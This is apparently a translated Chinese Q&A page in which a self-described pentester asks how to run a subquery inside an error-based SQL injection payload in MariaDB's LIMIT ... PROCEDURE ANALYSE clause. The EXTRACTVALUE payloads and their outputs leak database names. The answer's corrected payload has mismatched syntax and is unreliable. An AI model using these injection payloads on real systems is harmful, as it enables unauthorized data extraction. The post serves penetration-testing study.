如何解决MariaDB 5.5.65 sql 注入
我是 pentester,我正在我的 MariaDB 5.5.65 服务器上的 limit 子句中测试基于错误的 sql 注入。有点麻烦。
MariaDB> select * from tables where 1=1 limit 1,1 procedure analyse(EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,select '123',0x7178627171)),1);
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'select '123',1)' at line 1
MariaDB> select * from tables where 1=1 limit 1,'123',1);
ERROR 1105 (HY000): XPATH syntax error: '\qjjkq123qxbqq'
MariaDB> select * from tables where 1=1 limit 1,database(),1);
ERROR 1105 (HY000): XPATH syntax error: '\qjjkqinformation_schemaqxbqq'
我可以检索诸如database() 和version() 之类的信息,但不能使用select。这是 MariaDB 的功能吗?我可以绕过这个还是不可能在 MariaDB 服务器的过程分析中使用选择?
解决方法
如果你想在表达式中使用 select 返回一个标量值,你必须把它放在括号里,使它成为一个标量子查询:
EXTRACTVALUE(1370,CONCAT(0x5c,0x716a6a6b71,select '123',0x7178627171))
应该是:
EXTRACTVALUE(1370,(select '123'),0x7178627171))
在此示例中,这仍会导致 XPATH 错误,但这与您提出的问题无关。
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。